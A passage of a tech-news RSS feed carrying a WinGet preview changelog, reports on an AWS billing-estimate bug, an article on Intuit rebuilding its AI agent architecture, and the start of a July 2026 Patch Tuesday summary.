<li>fix(core): mitigate infinite ReAct loops and prompt injection loops by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amelidev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amelidev">@amelidev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913591703" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28429" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28429/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28429">#28429</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260716.g3ff5ba20f...v0.52.0-nightly.20260718.gacae7124b"><tt>v0.52.0-nightly.20260716.g3ff5ba20f...v0.52.0-nightly.20260718.gacae7124b</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.30.50-preview]]></title>
<description><![CDATA[This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.
New in v1.30
Nothing yet.
Bug Fixes

Fixe...]]></description>
<link>https://tsecurity.de/de/3677248/downloads/windows-package-manager-13050-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677248/downloads/windows-package-manager-13050-preview/</guid>
<pubDate>Sat, 18 Jul 2026 01:46:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.30</h2>
<p>Nothing yet.</p>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed a crash (<code>0x8000ffff</code>) when using <code>--disable-interactivity</code> with the Resume experimental feature enabled during install operations.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565579611" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6262" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6262/hovercard" href="https://github.com/microsoft/winget-cli/pull/6262">#6262</a></li>
<li>Remove old Store certs, replace test use with generated ones by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626150885" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6275" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6275/hovercard" href="https://github.com/microsoft/winget-cli/pull/6275">#6275</a></li>
<li>Add .gitattributes and normalize line endings across repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li>Renormalize by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4633514887" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6276" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6276/hovercard" href="https://github.com/microsoft/winget-cli/pull/6276">#6276</a></li>
<li>Change event type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615424908" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6273" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6273/hovercard" href="https://github.com/microsoft/winget-cli/pull/6273">#6273</a></li>
<li>Update minor version, archive release notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642943454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6279" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6279/hovercard" href="https://github.com/microsoft/winget-cli/pull/6279">#6279</a></li>
<li>Align .gitattributes and .editorconfig by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668279620" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6285" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6285/hovercard" href="https://github.com/microsoft/winget-cli/pull/6285">#6285</a></li>
<li>Doc manifest schema process by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643557474" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6280" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6280/hovercard" href="https://github.com/microsoft/winget-cli/pull/6280">#6280</a></li>
<li>Fix crash with --disable-interactivity and EFResume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703166998" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6302" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6302/hovercard" href="https://github.com/microsoft/winget-cli/pull/6302">#6302</a></li>
<li>Fix configuration elevation validation for standard flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4708403993" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6307" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6307/hovercard" href="https://github.com/microsoft/winget-cli/pull/6307">#6307</a></li>
<li>Bump markdown-it from 14.1.1 to 14.2.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686342275" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6296" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6296/hovercard" href="https://github.com/microsoft/winget-cli/pull/6296">#6296</a></li>
<li>Bump undici from 7.25.0 to 7.28.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4705714856" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6305" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6305/hovercard" href="https://github.com/microsoft/winget-cli/pull/6305">#6305</a></li>
<li>Bump form-data from 4.0.5 to 4.0.6 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710948701" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6311" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6311/hovercard" href="https://github.com/microsoft/winget-cli/pull/6311">#6311</a></li>
<li>Clean vcpkg artifacts on solution clean by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754061053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6339" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6339/hovercard" href="https://github.com/microsoft/winget-cli/pull/6339">#6339</a></li>
<li>Fix punctuation in error messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
<li>Fix cpprest checked iterator build error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703039819" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6301" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6301/hovercard" href="https://github.com/microsoft/winget-cli/pull/6301">#6301</a></li>
<li>Undo normalization of external files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753826668" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6336" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6336/hovercard" href="https://github.com/microsoft/winget-cli/pull/6336">#6336</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.29.240...v1.30.50-preview"><tt>v1.29.240...v1.30.50-preview</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Billing Software Error Sends Billion-Dollar AWS Estimates]]></title>
<description><![CDATA[AWS says a billing software bug caused some customers to see wildly inflated estimated charges, including reports of accounts showing bills in the billions or even trillions of dollars. The Register reports: An open issue on the AWS Health Dashboard (archived copy at the time of writing) popped u...]]></description>
<link>https://tsecurity.de/de/3677044/it-security-nachrichten/billing-software-error-sends-billion-dollar-aws-estimates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677044/it-security-nachrichten/billing-software-error-sends-billion-dollar-aws-estimates/</guid>
<pubDate>Fri, 17 Jul 2026 23:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AWS says a billing software bug caused some customers to see wildly inflated estimated charges, including reports of accounts showing bills in the billions or even trillions of dollars. The Register reports: An open issue on the AWS Health Dashboard (archived copy at the time of writing) popped up at 1:33 am Pacific time on Friday informing users that Cost Explorer was "reflecting inaccurate estimated billing data." As of writing, the issue is still unresolved despite AWS trying several different things to get it fixed. The company apparently identified the root cause within an hour and a half of beginning its investigation, only describing it as "an issue with unit pricing within the estimated billing computation subsystem."
 
AWS followed up by pausing estimated bill updates, saying customers would continue to see the inflated figures already displayed, but that those estimates would not increase further. "The displayed billing estimates do not reflect actual usage and charges," AWS explained, noting that customers don't need to take any action, like, we imagine, flooding the help portal with tickets telling them what they already know, for instance.
 
"Once the issue has been mitigated, we expect full resolution to take multiple hours as we work through recomputing the estimated billing data," AWS added. After we first published this article, Amazon updated the issue page to indicate that it had identified the root cause and mitigated the underlying issue. The company says that it's begun backfilling data in the Cost Management Console to correct billing numbers, and that all customers should see corrected amounts by Saturday, July 18 at noon pacific time.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Billing+Software+Error+Sends+Billion-Dollar+AWS+Estimates%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F17%2F1835215%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F17%2F1835215%2Fbilling-software-error-sends-billion-dollar-aws-estimates%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/17/1835215/billing-software-error-sends-billion-dollar-aws-estimates?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Intuit scrapped its own AI agent architecture twice in four months. At VB Transform 2026, its AI VP called that the fast path]]></title>
<description><![CDATA[Intuit was an early pioneer in the usage of agentic AI, but its path to success has hardly been a straight line.At VB Transform 2026, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist a...]]></description>
<link>https://tsecurity.de/de/3677037/it-nachrichten/intuit-scrapped-its-own-ai-agent-architecture-twice-in-four-months-at-vb-transform-2026-its-ai-vp-called-that-the-fast-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677037/it-nachrichten/intuit-scrapped-its-own-ai-agent-architecture-twice-in-four-months-at-vb-transform-2026-its-ai-vp-called-that-the-fast-path/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Intuit was an<a href="https://venturebeat.com/ai/how-intuit-plans-to-use-agentic-ai-to-automate-complex-business-tasks"> early pioneer</a> in the usage of agentic AI, but its path to success has hardly been a straight line.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, Intuit VP of AI Nhung Ho described how the company rebuilt its agent architecture twice in the span of about four months, first moving from a fleet of specialist agents to a central orchestration layer, then abandoning that layer for a skills and tools based system once the orchestrator itself started failing under its own complexity. The full second rebuild took 60 days, with a first working version in under 20.</p><p>The failure mode that forced the second rewrite was specific. Agents in the orchestrated system passed results to each other in natural language, and each handoff lost context the next agent needed to act correctly. </p><p>"If you have 10 agents and they all are passing to each other, every time that pass happens, error compounds," Ho said.</p><h2>Why the orchestration layer broke down</h2><p>Ho said the original push toward specialist agents came from a straightforward customer complaint. A fleet of capable agents is still something a customer has to manage, deciding which agent to use for which task. Intuit's answer was a system that could take a task and route it internally, without asking the customer to pick an agent themselves.</p><p>That orchestration layer held up for about three months, which Ho described only half joking as roughly a year in the compressed timeline of agent development in 2026.</p><p>It broke for a structural reason rather than a capacity one. Passing outcomes between agents in natural language meant each downstream agent had to infer how the upstream agent reached its conclusion, and that inference degraded with each additional hop. A ten agent chain did not fail occasionally, it compounded errors by design.</p><p>That diagnosis is what sent Intuit back to a skills and tools architecture.</p><h2>The 60-day rebuild, and what it took to get engineering buy-in</h2><p>Rebuilding a production agent system in 60 days required more than an architectural decision. Ho said the harder problem was internal, convincing both leadership and the engineers who had built the original agents that scrapping recent work was the right call.</p><p>The pitch to leadership relied on evidence rather than argument. Ho's team built a demo of the new architecture using real customer queries pulled from production, then showed it performing better than the existing system on the same tasks. </p><p>"The best proof, at least my belief, is what are customers trying to do? And whatever system you build needs to address those problems," Ho said.</p><p>Winning over engineering required a different case. Hundreds of engineers outside Ho's core team had built the specialist agents being retired, and the ask was to take their agents apart into individual skills and tools instead. </p><p>Ho said the motivating argument was scale. A standalone agent solved one narrow problem, while a shared skill or tool built into the new architecture could serve every customer who touched that part of the product. That shift also changed what partner teams were responsible for day to day, moving their focus from building agents to running evals, since evals became the only way to measure whether the new architecture was actually working.</p><h2>Bringing a human into the loop, and feedback at a different scale</h2><p>The clearest customer facing result of the rebuild is a feature that lets a live agent conversation pull in a human — though it's currently in early testing, live to about 1% of Intuit's customer base. "We're going to be scaling it up in the next few weeks," she said.</p><p>Ho said a customer can bring in an Intuit product support person mid conversation, or their own accountant, or one of Intuit's own bookkeepers, and that person joins with the full context of what the agent has already done.</p><p>Ho drew a direct contrast with how most AI chat products handle the same situation. A general purpose assistant answering a tax question typically ends with a disclaimer to consult a professional. Intuit's system is built to connect the customer to that professional directly, inside the same conversation.</p><p>That human handoff sits alongside a permissions model built for financial data specifically. Every action an agent takes on a customer's financial data requires explicit permission first, though Ho said that requirement can ease over time as customers build trust in the system. Intuit keeps an audit log of everything an agent does that can be reversed if needed.</p><h2>Feedback in the agentic AI era</h2><p>The rebuild also changed how Intuit gathers and uses feedback, a shift Ho said is qualitatively different from what came before. </p><p>"Feedback in the past used to be very, very sparse, and it was also very bimodal," Ho said. "Either they loved it or they hated it, and usually it tends towards the negative."</p><p>In a chat based system, every conversation functions as feedback, which Ho said moved the company from roughly 0.3% of customers ever giving explicit feedback to something close to 100%.</p><p>Ho said she has returned to writing code herself specifically to build models that analyze that feedback volume systematically, looking for where the system is falling short at a scale no manual review process could keep up with.</p><p>That volume comes with a tone most product teams aren't used to hearing directly. Customers tell the agent exactly where it failed, in plain terms.</p><p>"They straight up tell you, 'You suck. I hate this. This is not right,'" Ho said. "But they're also willing to give the systems grace and correct it as well, and so the onus is on all of us to harvest this new piece of feedback and type of feedback, and actually improve the system."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS Billing Glitch Hits Customers With Billion-Dollar Fees]]></title>
<description><![CDATA[An error with the cloud computing giant’s billing operation caused some customers’ monthly bills to rise from a few cents to billions of dollars.]]></description>
<link>https://tsecurity.de/de/3676937/it-nachrichten/aws-billing-glitch-hits-customers-with-billion-dollar-fees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676937/it-nachrichten/aws-billing-glitch-hits-customers-with-billion-dollar-fees/</guid>
<pubDate>Fri, 17 Jul 2026 22:02:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An error with the cloud computing giant’s billing operation caused some customers’ monthly bills to rise from a few cents to billions of dollars.]]></content:encoded>
</item>
<item>
<title><![CDATA[Billing software error sends billion-dollar AWS estimates]]></title>
<description><![CDATA[Amazon asks users not to panic as it works to fix the bug]]></description>
<link>https://tsecurity.de/de/3676777/it-nachrichten/billing-software-error-sends-billion-dollar-aws-estimates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676777/it-nachrichten/billing-software-error-sends-billion-dollar-aws-estimates/</guid>
<pubDate>Fri, 17 Jul 2026 20:03:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon asks users not to panic as it works to fix the bug]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37526 visual verification]]></title>
<description><![CDATA[OpenCode Drive screenshots for PR #37526.]]></description>
<link>https://tsecurity.de/de/3676614/downloads/pr-37526-visual-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676614/downloads/pr-37526-visual-verification/</guid>
<pubDate>Fri, 17 Jul 2026 19:02:07 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenCode Drive screenshots for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4913149221" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37526" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37526/hovercard" href="https://github.com/anomalyco/opencode/pull/37526">#37526</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[PR #37516 visual verification]]></title>
<description><![CDATA[OpenCode Drive screenshots for PR #37516.]]></description>
<link>https://tsecurity.de/de/3676578/downloads/pr-37516-visual-verification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676578/downloads/pr-37516-visual-verification/</guid>
<pubDate>Fri, 17 Jul 2026 18:19:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenCode Drive screenshots for PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912700107" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/37516" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/37516/hovercard" href="https://github.com/anomalyco/opencode/pull/37516">#37516</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



